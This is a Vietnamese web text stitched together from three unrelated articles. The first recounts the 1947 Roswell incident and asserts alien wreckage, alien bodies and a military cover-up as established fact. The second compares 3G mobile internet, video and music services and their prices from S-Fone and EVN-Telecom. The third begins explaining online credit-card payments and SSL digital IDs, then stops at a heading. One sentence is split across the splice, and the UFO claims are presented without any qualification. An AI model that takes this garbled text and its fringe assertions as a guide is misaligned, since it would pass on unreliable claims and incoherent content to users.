Ba tổ chức nghiên cứu vật thể bay không xác định MUFON, KUFOS và FUFOR đã công bố lời kêu gọi tham gia vào sáng kiến quốc tế, nhằm kêu gọi chính phủ các nước hàng đầu thế giới, trước hết là Mỹ, mở những tài liệu mật về người ngoài hành tinh, để nhân loại, cuối cùng cũng được biết rằng chúng ta không đơn độc trong vũ trụ.

Đĩa bay bị vỡ

Tài liệu được phổ biến trên báo chí mang tên gọi Tuyên bố Rosvell, bởi ở chính địa điểm nhỏ bé Rosvell gần nửa thế kỷ trước đây đã xảy ra thảm hoạ vũ trụ. Lúc đó trong sa mạc ở Tây Nam nước Mỹ đã xảy ra cuộc đụng độ, có thể ảnh hưởng đáng kể đến số phận của nhân loại. Điều này được giới quân sự thông báo, nhưng sau đó họ lại phủ nhận chính mình.

Vào đầu tháng 7/1947 người nông dân tên là Mac Brazel, sống ở New-Mexico, ra sân vào lúc sáng sớm để kiểm tra đàn cừu sau cơn dông ban đêm. Ông đã phát hiện ra những mảnh vỡ khác thường.

Chiều dài của chúng phải đến hàng trăm mét, chúng đã làm thành những vệt rãnh đều đặn trên mặt đất và nằm xung quanh với số lượng lớn. Brazel nhặt vài mảnh, định cho hàng xóm xem và đưa cho cảnh sát trưởng Jorjơ Vipcocs.

Cảnh sát trưởng đã liên lạc với căn cứ không quân ở Rosvell. Khi tới hiện trường, giới quân sự đã gạt hết cảnh sát ra ngoài, bao vây một vòng dày đặc quanh khu vực và đưa đi tất cả những gì được tìm thấy ở đó.


(Ảnh: BBC)
Họ chở những mảnh này về Rosvell, sau đó dùng máy bay B-29 và S-54 chuyển chúng tới một địa điểm ở bang Ohio.

Tại căn cứ ở Rosvell lúc bấy giờ có trung đoàn máy bay ném bom số 509, lần đầu tiên được trang bị bom nguyên tử. Sáng ngày 8/7/1947 chỉ huy trung đoàn- đại tá Wiliam Blankhard đã ra lệnh chuyển cho báo chí thông báo về việc đã phát hiện được các bộ phận của chiếc “đĩa bay bị vỡ”.

Ngay ngày hôm đó hơn 30 tờ báo buổi chiều của Mỹ đã đăng thông báo này trong mục tin tức gây chấn động. Vài giờ sau, từ văn phòng của tướng Rojer Romey - chỉ huy trưởng lữ đoàn không quân số 8 đóng tại Vort ở Tezas, cách xa địa điểm tai nạn đĩa bay hơn 700 km, đã có thông báo thứ hai.

Trong thông báo nói rằng sự việc đã bị thổi phồng, rằng trên thực tế đại tá Blankhard đã phạm phải “điều dại dột khó tin”, khi nhận bừa khinh khí cầu bình thường trên ra đa của mình là các bộ phận của thân đĩa bay bị rơi.

Hoàn toàn thấy rõ rằng, một trong hai thông báo trên báo chí này không phải là sự thật.

Nhân chứng là ai?

Những người cùng làm việc với Wiliam Blankhard và biết rõ ông đều khẳng định, rằng ông là người nghiêm túc và là người của công việc, chứ không phải là kẻ ngu xuẩn nào đó, như người ta nói về ông trong thời gian thông báo thứ hai.

Nếu như ông không tin tưởng hoàn toàn chắc chắn vào việc: Sự kiện bi kịch và khó tin đã xảy ra với chiếc đĩa bay bị vỡ, thì ông đã không bao giờ lại cho ra một thông báo như vậy cho báo chí.

Toàn bộ đường công danh sau này của Wiliam Blankhard xác nhận tính chính xác của những kết luận về ông: sau này ông đã lên đến cấp tướng bốn sao và là phó tham mưu trưởng không quân Mỹ.

Nhân chứng đầu tiên, người đã tham gia vào việc nghiên cứu là trung tá phản gián của trung đoàn máy bay ném bom 509 ở Rosvell- Joze Marsel.

Ông là chuyên gia thuần thục, có uy tín cao và là một trong hai sĩ quan có mặt đầu tiên tại hiện trường tai nạn. Trong một lần trả lời phỏng vấn trong năm 1979, Marsel đã tuyên bố chắc chắn: “Đó không phải là khinh khí cầu”.

Khi kể về vật liệu được tìm thấy, ông nhận xét: “Nó không bắt lửa…Chất này gần như không nặng mấy và nó cũng chẳng dày hơn tờ giấy kim loại bọc thuốc lá chút nào. Khi tôi thử bẻ cong nó, nó chẳng bị cong. Lúc ấy chúng tôi đã dùng chiếc búa 8 kg để đục thủng một lỗ trên nó mà không ăn thua gì, vật liệu này không hề bị tác động”.


Hình mặt sinh vật lạ. (Ảnh UFO log, VTC)

Thật khó mà tưởng tượng một con người được đào tạo và có trình độ nghiệp vụ như Joze Marsel, thêm vào đó còn là sĩ quan phản gián của trung đoàn không quân duy nhất trên thế giới vào lúc bấy giờ có bom nguyên tử trong trang bị lại có thể nhầm lẫn khinh khí cầu khí tượng với đĩa bay. Mà không chỉ trên màn hình ra đa, mà cả sau đó trên mặt đất.

Kết luận của ông chỉ dẫn đến một điều: “Những phần vỏ còn lại này có xuất xứ không phải từ Trái đất”.

Không thể nghi ngờ trình độ chuyên môn của nhân chứng này, bởi sau này, cùng việc thực hiện hàng loạt nhiệm vụ nhà nước quan trọng, ông đã tham gia vào việc chuẩn bị báo cáo mật về vụ nổ nguyên tử đầu tiên ở Liên Xô.

Báo cáo này đã trực tiếp nằm trên bàn làm việc của tổng thống Mỹ Truman.

Chỉ đến năm 1992, nguyên nhân thực sự của việc xuất hiện thông báo thứ hai trên báo chí của giới quân sự, bãi bỏ thông báo đầu tiên, mới được sáng tỏ.

Trước khi chết, tướng Tomas de Bose đã thú nhận rằng năm 1947 tại căn cứ không quân của lữ đoàn số 8 ở Texas đích thân ông đã nhận qua điện thoại mệnh lệnh của tướng Klemens Macmillan từ Washington về việc cần phải che giấu sự kiện “đĩa bay bị rơi”.

Trong chỉ thị cho tướng Romey người ta đề nghị phải nghĩ ra “những lý do để che đậy vấn đề này, để báo chí rời bỏ chúng ta”.

Năm 1990 cả tướng Artur E. Ecxon- năm 1947 ông mới chỉ là trung uý và đã tham gia vào việc thử nghiệm vật liệu mảnh đĩa bay vỡ ở phòng thí nghiệm bang Ohio cũng bắt đầu lên tiếng. Theo khẳng định của ông, mọi thử nghiệm có thể đều đã được tiến hành: các phân tích hoá học, cắt đứt, uốn cong, nén, ép… Tất cả những ai tham gia vào các cuộc thử nghiệm này đều thống nhất đi đến kết luận rằng vật liệu này đến với Trái đất từ vũ trụ.

Xác chết kỳ lạ

Glenn Dennis là một người xử lý xác chết hiện nay ông vẫn sống ở ngoại ô Rosvell. Là một doanh nhân khả kính và tham gia công việc của xã hội, ông có chính kiến của mình và không nghiêng về những điều bịa đặt. Trước đây, khi còn trai trẻ Glenn đã làm việc tại nhà xác và xử lý các xác chết. Cơ sở này đã có hợp đồng với không quân Mỹ về việc trợ giúp xử lý xác chết.

Ngay từ trước khi ông được biết về những bí mật của đĩa bay bị vỡ, từ đơn vị không quân viên sĩ quan chuyên về vấn đề mai táng đã gọi điện cho ông và hỏi: phải bảo quản các xác chết đã ở trong những điều kiện khí quyển ngoài trời mấy ngày rồi như thế nào là tốt nhất?

Chiều hôm đó Glenn đến quân y viện của đơn vị có việc gì đó. Cạnh cửa phụ từ phía ngược lại của toà nhà ông nhìn thấy hai nhân viên quân sự của phòng thí nghiệm. Họ đang mang những vật lạ nào đó, trên bề mặt của chúng có những biểu tượng lạ lùng.

Vừa bước vào quân y viện ông gặp ngay cô y tá quen biết. Định nói chuyện với cô một lát, thì ngay lúc đó ông bị cảnh sát quân sự phát hiện và bị họ đuổi ra khỏi toà nhà.

Ngày hôm sau Glenn gặp cô y tá trong thành phố. Cô đã kể cho Glenn, chuyện gì dã xảy ra trong quân y viện. Vốn là người theo tôn giáo điềm đạm và bình tĩnh, vậy mà vào thời điểm đó cô gần như bị chấn động thần kinh.

Cô kể người ta ra lệnh cho cô trợ giúp hai bác sĩ, những người đang xử lý vài vật thể nhỏ bé, không phải con người. Cô nhìn thấy: một vật thể ở trong tình trạng không tồi, còn những vật khác bị phân nhỏ ra, bởi vậy có thể nhận thấy rõ những khác biệt về giải phẫu với con người.

Thậm chí cô còn phác hoạ lên chiếc khăn giấy, những phần thi thể riêng biệt của các sinh vật này trông như thế nào. Glenn sau này không còn gặp được cô nữa, hai ngày sau đó cô bị điều động khẩn cấp sang làm việc ở Anh.

Bí mật bằng mọi giá

Phần chủ yếu của đĩa bay bị vỡ rơi ở gần trang trại của Brazel. Nhưng, như sau này được xác định, những nhà nghiên cứu quân sự còn tìm được một phần nữa cách xa nơi ở. Theo xác nhận của những người chứng kiến, tại địa điểm đó còn phát hiện được các vật thể lạ. Phần lớn nhân chứng cho đến giờ vẫn cảm thấy sợ hãi trước hình phạt từ phía chính quyền.

Không chỉ Glenn Dennis, mà những người khác cũng bị đe doạ trừng phạt về thể xác. Theo lời các thành viên gia đình của cảnh sát trưởng Vipcocs, nhân những sự kiện này Vipcocs đã cảnh báo vợ, rằng ông và cả gia đình sẽ bị chết, nếu như ông có ý định nói ra điều mình đã nhìn thấy vào bất cứ khi nào.

Giới quân sự đã bắt giữ Mac Brazel cả một tuần và chỉ thả ông ra, sau khi ông thề giữ bí mật. Ông không nói với gia đình về đĩa bay bị vỡ thêm một lần nào nữa trong đời.

Các nhà quân sự đã thu của ông tất cả những gì ông đã nhặt tại địa điểm tai nạn và muốn cho hàng xóm xem. Sau đấy mấy tháng họ cũng tịch thu nốt những mẩu vỡ nhỏ của đĩa bay mà con trai ông đã tìm thấy và tập trung lại ở ngoài đồng.

Thêm những tia sáng

Soi sáng thêm cho toàn bộ câu chuyện này là những tài liệu được Bộ quốc phòng Bỉ công bố năm 1991. Đó là những bằng chứng ra đa của hai chiếc máy bay tiêm kích F- 16 của không quân Bỉ, được lệnh theo dõi vật thể bay không xác định.

Thêm vào đó là những số liệu của 4 ra đa quân sự trên mặt đất, theo dõi tàu vũ trụ của người ngoài hành tinh. Cũng như nhiều tuyên bố của các công dân và cảnh sát.

Vào lúc bấy giờ các ra đa của căn cứ không quân của Bỉ đã ghi nhận được vật thể bay không xác định. Các máy bay tiêm kích- đánh chặn F- 16 đã cất cánh. Khi máy bay tới gần vật thể bay, nó đột ngột tăng tốc và nhanh chóng thoát khỏi những chiếc máy bay truy kích. Vật thể lạ chuyển động với tốc độ chưa từng thấy.

Theo lời tướng Vilfred de Brover của NATO, không một phi công nào trên thế giới có thể chịu được sự quá tải xuất hiện khi chuyển động với tốc độ như vậy. Các chuyên gia của Bỉ từ NATO cho rằng vật thể rõ ràng có xuất xứ ngoài trái đất

3G là gì? Đó là một tập hợp các tiêu chuẩn và công nghệ viễn thông quốc tế nhằm tăng cường hiệu quả và chất lượng của điện thoại di động với các ưu điểm như: truyền dữ liệu băng rộng vô tuyến ở tốc độ lên đến 2,4 Mbps nhanh gấp 46 lần so với công nghệ GPRS...

Trong cuộc sống ngày nay, ĐTDĐ là một vật không thể thiếu đối với nhiều người. Công nghệ hiện đại đã khiến cho việc truyền tin ngày càng đa dạng hơn, không chỉ để thông tin liên lạc mà còn để phục vụ cho các nhu cầu trong cuộc sống như: xem phim, tivi, nghe nhạc, duyệt web, thoại video, gửi hình ảnh – âm thanh, định vị GPS, rút tiền từ máy ATM, thanh toán tiền mua hàng hóa - dịch vụ, mua hàng từ máy bán hàng tự động, v.v... và tiêu chuẩn duy nhất có thể đáp ứng được điều này là 3G (third-generation technology).

Vậy 3G là gì? Đó là một tập hợp các tiêu chuẩn và công nghệ viễn thông quốc tế nhằm tăng cường hiệu quả và chất lượng của điện thoại di động với các ưu điểm như: truyền dữ liệu băng rộng vô tuyến ở tốc độ lên đến 2,4 Mbps nhanh gấp 46 lần so với công nghệ GPRS của hệ thống GSM mà các mạng Vinaphone, Mobifone và Viettel Mobile đang sử dụng; chất lượng âm thanh được cải thiện tốt hơn, cho phép nhà cung cấp dịch vụ viễn thông triển khai các hệ thống mạng tiên tiến với các ứng dụng thoại, và truyền nhận dữ liệu băng thông rộng trên ĐTDĐ thay thế dần các hệ thống mạng chuyển mạch tương tự truyền thống băng thông thấp đang lỗi thời.


Có nhiều công nghệ để xây dựng một hệ thống hạ tầng viễn thông đạt chuẩn 3G như: WCDMA (Wideband Code Division Multiple Access), CDMA2000 (Code Division Multiple Access 2000), UMTS (Universal Mobile Telecommunications System) và EDGE (Enhanced Data for Global Evolution), nhưng ở Việt Nam cho đến thời điểm hiện nay thì chỉ có 3 nhà cung cấp dịch vụ viễn thông chọn công nghệ CDMA 2000 1x EV-DO để xây dựng hệ thống mạng 3G là: S-Fone - 095, EVN-Telecom - 096, và HT Mobile – 092 của Hà Nội Telecom.

Trước mắt, mạng HT Mobile còn đang trong giai đoạn thử nghiệm với chương trình mang tên “Chào đón một thế giới FREE” trên hệ thống mạng CDMA 2000 1x EV-DO (Code Division Multiple Access 2000 1x Evolution - Data Optimized) tiên tiến được đầu tư trang bị ngay từ đầu, nhưng chưa chính thức đưa ra sản phẩm dịch vụ dựa trên nền tảng công nghệ 3G (gọi tắt là dịch vụ 3G) nào cả.

Chỉ có mạng S-Fone và EVN-Telecom là đã chính thức hoạt động và đang nâng cấp dần hệ thống hạ tầng của mình từ CDMA 2000 1x băng thông 307Kbps eo hẹp lên CDMA 2000 1x EV-DO có tốc độ truyển dữ liệu 2,4Mbps rộng rãi hơn. Trong đó S-Fone triển khai các dịch vụ 3G tại 5 thành phố lớn: Hồ Chí Minh, Hà Nội, Đà Nẵng, Hải Phòng, Cần Thơ, còn EVN-Telecom hiện đang thử nghiệm dịch vụ 3G tại TP Hồ chí Minh. Cả 2 mạng này đều triển khai gói dịch vụ Mobile Internet trên ĐTDĐ CDMA nhưng S-Fone có lợi thế nhiều hơn với 2 gói dịch vụ 3G nữa là VOD (Video On Demand) và MOD (Music On Demand).

Mobile Internet cho phép người dùng có thể kết nối internet băng thông rộng, khi đang di chuyển ở tốc độ cao trực tiếp từ máy điện thoại di động CDMA của mình (đối với máy hỗ trợ duyệt internet), hoặc thông qua máy vi tính với cáp và trình điều khiển chuyên dụng, rất thích hợp với những người thường xuyên đi công tác, doanh nhân, hoặc những nơi không kéo được cáp.


Tốc độ truyền tải dữ liệu thực tế trên chính máy ĐTDĐ và dịch vụ Mobile Internet của S-Fone là 2.17Mbps, một tốc độ khá cao so với ADSL 2Mbps và kết nối Dial up 56Kbps truyền thống. Tuy nhiên, cũng như các dịch vụ ADSL khác, Mobile Internet của S-Fone không phải lúc nào cũng duy trì ổn định được tốc độ kết nối ở mức này, độ ổn định còn kém và đôi lúc có phần thấp hơn so với dịch vụ ADSL phổ biến hiện nay. Trong khi đó, tốc độ thử nghiệm thực tế trên sản phẩm của EVN-Telecom cũng xấp xỉ tương tự mặc dù đôi lúc có vẻ thấp hơn. Qua các thử nghiệm thực tế ta thấy tốc độ kết nối internet của EVN-Telecom có vẻ yếu thế hơn so với S-Fone, tuy nhiên tốc độ chưa phải là yếu tố quyết định mà còn phải xem chính sách phục vụ và giá cước dịch vụ của 2 nhà cung cấp này như thế nào?

Mobile Intenet được tự động đăng ký miễn phí cho cả hai loại thuê bao trả trước/trả sau của S-Fone, ngay khi người dùng đăng ký thuê bao mới với một loạt danh sách 28 thiết bị đầu cuối và cáp hỗ trợ, chủ yếu là dịch vụ Mobile Internet, chỉ có duy nhất 1 model ĐTDĐ Samsung F363 do S-Fone cung cấp là có thể sử dụng dịch vụ VOD và MOD mà thôi. Thêm vào đó, giá một sợi cáp kết nối giữa máy vi tính và máy di động của S-Fone để truy cập internet khá cao, trung bình khoảng 180.000 có thể là một rào cản khá lớn khiến nChính sách hỗ trợ khách hàng của S-Fone thông qua Webportal http://www.sfone.com.vn/ được chúng tôi đánh giá rất cao như: danh sách máy di động hỗ trợ Mobile Internet, cung cấp trình điều khiển thiết bị, hướng dẫn cài đặt sử dụng dịch vụ rất cụ thể và chi tiết. Cước sử dụng dịch vụ Mobile Internet, VOD, MOD áp dụng cho các thuê bao trả trước và trả sau của S-Fone được tính bằng một công thức chung sau đây:

Cước dịch vụ = Cước truyền dữ liệu (*) + Cước nội dung (**)

(*) Cước truyền dữ liệu (đã có VAT): căn cứ vào dung lượng dữ liệu thực tế sử dụng, không phụ thuộc vào nội dung dữ liệu. Mức cước đối với VOD/MOD là 5 đồng/Kb và 4 đồng/Kb áp dụng cho Mobile Internet. Hoặc đăng ký một trong các gói cước sau đây để được dùng miễn phí cước truyền dữ liệu trong phạm vi dung lượng định sẵn của gói cước tương ứng, tuỳ thuộc vào khoản tiền đăng ký theo quy định của gói cước

Các gói cước truyền dữ liệu định sẵn của S-Fone

STT
Gói cước
Giá trị sử dụng
Mức cước
Thời hạn sử dụng

1
25.000VNĐ
35.000VNĐ
VOD/MOD: 5 VNĐ/KB
Mobi-Internet: 4VNĐ/KB
TB trả sau: 01tháng TB trả trước: không giới hạn thời gian sử dụng

2
50.000VNĐ
100.000VNĐ

3
100.000VNĐ
400.000VNĐ


(**) Cước nội dung (đã có VAT): chỉ áp dụng cho dịch vụ VOD/MOD

Bảng giá cước nội dung của S-Fone

Hình thức
Cước nội dung (đã bao gồm VAT)

VOD
MOD

Tải về
2.500VNĐ/nội dung
2.000VNĐ/bài hát

Nghe/xem trực tuyến
1.000VNĐ/nội dung
500VNĐ/bài hát

Nghe trực tiếp (Radio)
-
Miễn phí


Ngoài ra, S-Fone ưu đãi cho thuê bao trả sau được miễn phí một khoản cước dữ liệu hàng tháng tuỳ vào từng gói cước sử dụng (áp dụng cho cả dịch vụ VOD/MOD/Mobile Internet)

Cước dữ liệu miễn phí cho thuê bao trả sau của S-Fone

Gói dịch vụ
Cước truyền dữ liệu được miễn phí

STANDARD
25.000VNĐ/tháng

FREE 1
50.000VNĐ/tháng

VIP
100.000VNĐ/tháng


Nếu S-Fone tính cước dịch vụ theo dung lượng truyền tải dữ liệu thì EVN-Telecom lại tính cước dịch vụ dựa trên block thời gian kết nối với giá rẻ khá bất ngờ ở thời điểm hiện nay khi kết nối internet ở tốc độ lý thuyết 2.4Mbps qua điện thoại di động là 10.800 đồng/giờ (gần gấp đôi giá cước kết nối Dial up VNN 1269 mà băng thông lớn hơn gấp nhiều lần) , bạn hãy thử kiểm tra lại bằng bảng giá cước dịch vụ của EVN:

Cước dịch vụ = Cước truy cập internet (***) + Cước thoại (****)

(***) Cước truy nhập internet: 35 đ/phút

(****) Cước thoại: tùy theo gói dịch vụ đăng ký

Bảng giá cước thoại của EVN-Telecom

Gói dịch vụ đăng ký
Cước thoại

E-Mobile
145 đồng/phút

E-Phone
85 đồng/phút

E-Com
40 đồng/phút


Ngoài dịch vụ Mobile Internet nói trên thì S-Fone vượt qua đối thủ về số lượng dịch vụ với 2 gói dịch vụ VOD (Video On Demand) và MOD (Music On Demand) có tính năng vượt trội hơn về cả công nghệ lẫn sự tiện ích mang lại để khách hàng có thể thưởng thức trực tiếp trên máy di động, hoặc gửi làm quà tặng cho bạn bè.

VOD (xem phim theo yêu cầu) cho phép thuê bao trả trước/trả sau của S-Fone có thể xem phim hoặc các kênh truyền hình trực tiếp ngay trên máy điện thoại di động của mình với chất lượng hình ảnh và âm thanh tuy không thực sự rõ nét như xem ti vi nhưng có thể chấp nhận được, mặc dù thỉnh thoảng hình ảnh hơi bị nhòe. Người dùng có thể xem dưới 3 hình thức: Download (tải nội dung có trên máy chủ của nhà cung cấp về máy), Live Streaming (xem các chương trình truyền hình đang phát sóng) hoặc Streaming (xem trực tiếp nội dung có trên server) với giá cước khác nhau như đã nói ở trên. Mặc dù có thể nói S-Fone là đối thủ nặng ký nhất trên thị trường Việt Nam ở thời điểm hiện tại về các dịch vụ 3G (nếu không muốn nói là sự lựa chọn duy nhất), nhưng với cách tính cước hiện nay thì có thể S-Fone sẽ không giữ vững được vị trí của mình khi các đối thủ triển khai các dịch vụ tương tự trong thời gian sắp tới với giá cước cạnh tranh hơn. Nếu chỉ nhìn sơ qua phần cước truyền dữ liệu 5 VNĐ/KB thì người dùng bình thường có thể sẽ không đắn đo về giá cả, nhưng khi sử dụng thực tế họ sẽ phải chóng mặt với các tính cước trên. Thử làm một phép tính đơn giản ta sẽ thấy: để xem truyền hình trực tiếp một trận bóng đá dài khoảng 90 phút có dung lượng truyền tải khoảng 21.600KB thì chi phí theo dõi trận bóng đó là 21.600 x 5 + 1.000 (cước nội dung) = 109.000 đồng, chưa kể các tình huống đá hiệp phụ, đá luân lưu khi trận cầu trở nên gay cấn. Còn về nội dung, ngoài các kênh truyền hình trực tiếp thường được nhiều người xem như: HBO, AXN, V-Channel, Fashion TV, VTV3, HTV7 còn có nhiều bộ phim khá mới và hấp dẫn nhưng số lượng khá khiêm tốn, không được phong phú cho lắm.

Cũng như VOD, khách hàngS-Fone có thể biến “chú dế” của mình thành máy nghe nhạc MP3 sành điệu khi sử dụng dịch vụ MOD để thưởng thức các bài hát như: những ca khúc đang được ưa chuộng nhất, những ca khúc trữ tính lãng mạn, tha hồ thả hồn bay bổng theo điệu nhạc, hay cài đặt các bài hát đó làm Ringtone cho riêng mình, thậm chí là làm quà tặng âm nhạc gửi đến người thân và bạn bè là thuê bao của S-Fone.

Tuy nhiên chất lượng âm thanh không thể nào so sánh được với nghe trực tiếp trên các máy MP3 chất lượng cao do dung lượng các bài hát được nén nhỏ lại, số lượng bài hát cũng còn sơ sài, chưa phong phú lắm. Nhưng dù sao thì ở thời điểm mới triển khai dịch vụ thì những hạn chế này là không thể tránh khỏi và có thể chấp nhận được với một chiếc ĐTDĐ đa tính năng như vậy. Hy vọng rằng trong tương lai gần đây, những hạn chế trên sẽ được S-Fone khắc phục. Và một điều cần lưu ý là để sử dụng được 2 dịch vụ VOD/MOD của S-Fone thì người nhận phải sử dụng điện thoại CDMA của S-Fone hỗ trợ WAP 2.0 và VOD/MOD mà Sam Sung F363 là ứng cử viên duy nhất ở thời điểm hiện nay với giá gần 6 triệu đồng.

Có vẻ như các dịch vụ 3G đang chuẩn bị lên cơn sốt và các nhà cung cấp dịch vụ đang khẩn trương chạy đua chuẩn bị cho một cuộc chiến khốc liệt. Xét về mọi phương diện thì các dịch vụ 3G của S-Fone hơn hẳn EVN-Telecom về số lượng dịch vụ, nội dung, tốc độ truyền tải, hỗ trợ khách hàng thông qua Web Portal rất chu đáo và chi tiết. Tuy nhiên EVN-Telecom cũng có một số ưu điểm so với S-Fone là chính sách hỗ trợ giá cho người dùng và đòn chủ lực là giá cước Mobile Internet rẻ đến bất ngờ. Điểm mạnh và điểm yếu của cả S-Fone và EVN-Telecom đều đã thấy rõ, trên cơ sở đó làm sao để giữ vững và phát huy thế mạnh của mình cũng như khắc phục khuyết điểm để giành được thị phần khách hàng rất tiềm năng chưa được khai thác là câu trả lời dành cho S-Fone, EVN-Telecom và cả HT Mobile đang chuẩn bị chính thức tranh tài vào tháng 12 này. Còn ở thời điểm hiện nay, nếu bạn là người làm việc năng động hay di chuyển nhiều và kết nối internet để làm việc là một điều không thể thiếu của công việc thì EVN-Telecom đáng để bạn chọn sử dụng và tiếp tục chờ các dịch vụ 3G tiếp theo của họ.

Còn nếu như bạn là người đam mê các công nghệ mới và không quan tâm đến giá cả thì các dịch vụ VOD/MOD và Mobile Internet của S-Fone sẽ giúp bạn khẳng định đẳng cấp sành điệu của chính mình
gười dùng do dự.

Hãy cho tôi xem tiền của anh. Ðây là điều thực sự cần thiết cuối cùng có phải không? Bạn có thể chỉ là một cửa hàng sở hữu một người, vận hành WEB site của mình trong một gara ôtô hoặc một quán cà phê nào đó hay là một tập toàn nhiều tỷ đô la đầu tư hàng triệu đô la vào hệ thống thương mại điện tử. Bạn có thể có một hệ thống phức tạp có khả năng tạo các trang WEB động cho người truy nhập và tích hợp nền với các hệ thống cơ sở dữ liệu cỡ lớn hoặc chỉ đơn thuần là một bản danh danh sách hàng hoá đơn giản trên trang WEB nằm trên máy chủ của một ai đó trên mạng. Bỏ qua mọi yếu tố về cấu hình hệ thống, điểm quan trọng cuối cùng của một hệ thống thương mại điện tử là có một cách nào đó để người mua kích vào phím mua hàng và chấp nhận thanh toán.

Trong thế giới thực, có ba cách thanh toán: Bạn có thể trả tiền mặt, thanh toán bằng séc và sử dụng thẻ tín dụng. Các cơ chế tương tự cũng được sử dụng cho kinh doanh trực tuyến. Bạn có thể nhận số thẻ tín dụng giải mã nó do được mã hoá lúc truyền đi và xử lý đơn đặt hàng bằng tay. Bạn cũng có thể nhận số thẻ tín dụng và xử lý điện tử. Bạn có thể nhận một số thẻ ghi nợ và xử lý nó như một thẻ tín dụng dù người mua có thể coi nó như là một tấm séc. Và cuối cùng bạn có thể nhận tiền mặt. Chúng ta sẽ lần lượt xem xét từng hình thức thanh toán trên và bắt đầu bằng hình thức dễ nhất để thực hiện thanh toán trực tuyến là thẻ tín dụng.



1. Thẻ tín dụng



Thẻ tín dụng đã được xử lý điện tử hàng thập kỷ nay. Chúng được sử dụng đầu tiên trong các nhà hàng và khách sạn sau đó là các cửa hàng bách hoá và cách sử dụng nó đã được giới thiệu trên các chương trình quảng cáo trên truyền hình từ 20 năm nay. Cả một ngành công nghiệp lớn đang tồn tại trong lĩnh vực xử lý các giao dịch thẻ tín dụng trực tuyến với các công ty như First Data Corp., Total System Corp., và National Data Corp., chi tiết hoá các giao dịch phía sau mối quan hệ giữa nhà băng, người bán hàng và người sử dụng thẻ tín dụng. Hàng triệu các cửa hàng bách hoá trên toàn nước Mỹ được trang bị các trạm đầu cuối (Hewlett-Package Verifone là nhà sản xuất hàng đầu của thiết bị này) thông qua đó thể tín dụng được kiểm tra, nhập số thẻ và biên lai được in ra. Người sử dụng ký vào biên lai này để xác thực việc mua hàng.

Trước khi nhận số thẻ tín dụng của người mua qua Internet bạn cần có một chứng nhận người bán. Nếu bạn đã hoạt động kinh doanh thì đơn giản là yêu cầu nhà băng của bạn cung cấp chứng nhận này. Nếu bạn chưa có bất cứ cái gì thì bạn có thể thực hiện việc này nhanh chóng tại một nhà băng nào đó hoặc truy nhập vào một WEB site có các mẫu đăng ký trực tuyến.

Sử dụng thẻ tín dụng trực tuyến ngày hôm nay, tuy nhiên, giống như việc sử dụng chúng với một "operating standing by". Số thẻ và chi tiết của giao dịch được lưu lại và xử lý, nhưng không có sự xuất hiện của người mua và khi có một vụ thanh toán bị lỡ thì nó vẫn được lưu lại trên hệ thống. Bởi lý do này các chi phí xử lý thẻ tín dụng trực tuyến nhiều ngang bằng với chi phí để xử lý một giao dịch chứ không ngang bằng với một mức phí như điện thoại và thông thường là vào khoảng 50 xen. (Các giao dịch được xử lý thông qua các trạm đầu cuối đã được hợp đồng chỉ mất khoảng từ 3 đến 5 xen).

Ngoài các khoản trên, phí được giảm nhờ việc sử dụng các dịch vụ của Visa và MasterCard, là các tổ hợp của các nhà băng, hoặc American Express Co. và Discover là các công ty riêng rẽ xử lý và quản lý các giao dịch thẻ tín dụng. Ðiều đó có nghĩa là bạn sẽ phải trả từ 2 đến 3 xen cho một đô la khi sử dụng Visa hay MasterCard, và ít hơn một chút với Discover, đối với American Express phí này vào khoảng 5 xen cho một đô la. Các thoả ước giữa các công ty cung cấp thẻ và các chủ doanh nghiệp giúp cho khách hàng không phải trả các chi phí này. Việc chiết khấu cũng khác giữa người sử dụng tại trạm đầu cuối nơi mà thẻ tín dụng tồn tại một cách vật lý, và môi trường WEB nơi mà thẻ không hiện diện. Trong quá trình chuyển đổi để chiết khấu người bán được đảm bảo thanh toán. Người mua được đảm bảo về việc sẽ nhận được hàng hoá và một số đảm bảo có giới hạn khác chống lại việc bị lừa hoặc mất thẻ. (Bảo hiểm thẻ được bán bởi các nhà băng phát hành thẻ và các rủi ro sẽ được thanh toán).

Cửa hàng trên WEB của bạn cần phần mềm nào để có thể xử lý thẻ tín dụng? ở mức đơn giản nhất, bạn phải có sẵn một số biểu mẫu có khả năng mã hoá bảo mật, thông thường là Sercure Socket Layer (SSL), một tiêu chuẩn đối với cả các trình duyệt của Microsoft và Netscape, và điều đó cũng có nghĩa là máy chủ của bạn phải có một khoá mã hoá. Tiếp theo bạn phải có một chương trình đóng vai trò là một giỏ mua hàng, cho phép người sử dụng thu thập các mặt hàng cần mua, tính giá và thuế sau đó đưa ra một hoá đơn cuối cùng để phê chuẩn. Cuối cùng nếu như bạn không muốn xử lý các tệp giao dịch bằng tay hoặc xử lý một gói các tệp thì bạn phải cần một cơ chế giao dịch điện tử.



2. Ðịnh danh hay ID số hoá (Digital identificator)



Các khoá mã bảo mật trên máy chủ, được biết đến như là các ID số hoá, được cung cấp bởi một số các cơ quan chứng nhận thẩm quyền, là nơi cấp phép và bảo dưỡng các bản ghi diễn biến trên các ID số hoá này. Tổ chức chứng thực thẩm quyền lớn nhất được điều hành bởi VeriSign Inc., một công ty được thành lập vào năm 1995 chuyên về lĩnh vực quản lý các chứng nhận số hoá. Công ty xử lý các yêu cầu ID số hoá cho các công ty như American Online, Microsoft, Netscape, tuy nhiên bạn cũng có thể trực tiếp có các ID số hoá trên WEB site của công ty. Vào mùa hè năm 1998, VeriSign thu phí 349 USD cho máy chủ ID đầu tiên mà một công ty mua và 249 USD cho thêm mỗi máy chủ ID tiếp theo. Một Máy chủ ID toàn cục - Global Server ID, 128 bit có mức chi phí 695 USD.

Công nghệ nền tảng cho các ID số hoá của VeriSign là SSL được xây dựng đầu tiên bởi RSA Technologies inc., nay là một đơn vị của Sercurity Dynamics. Mỗi thông điệp, được mã hoá bằng hai mã hoặc khoá là một chuỗi các bit làm thay đổi giá trị đã được số hoá các của dữ liệu được đưa vào hay lấy ra khỏi chương trình. Một khoá công cộng được dùng để mã hoá các thông điệp, trong khi khoá riêng thứ hai được dùng để giải mã nó. Tính thống nhất và xác thực của các khoá riêng được đảm bảo bởi một cơ quan chứng nhận thẩm quyền như VeriSign. Một máy chủ ID số hoá cho phép bạn ký vào các văn bản điện tử và chứng thực chữ ký của mình với một cơ quan chứng nhận thẩm quyền.



3. Xe mua hàng điện tử



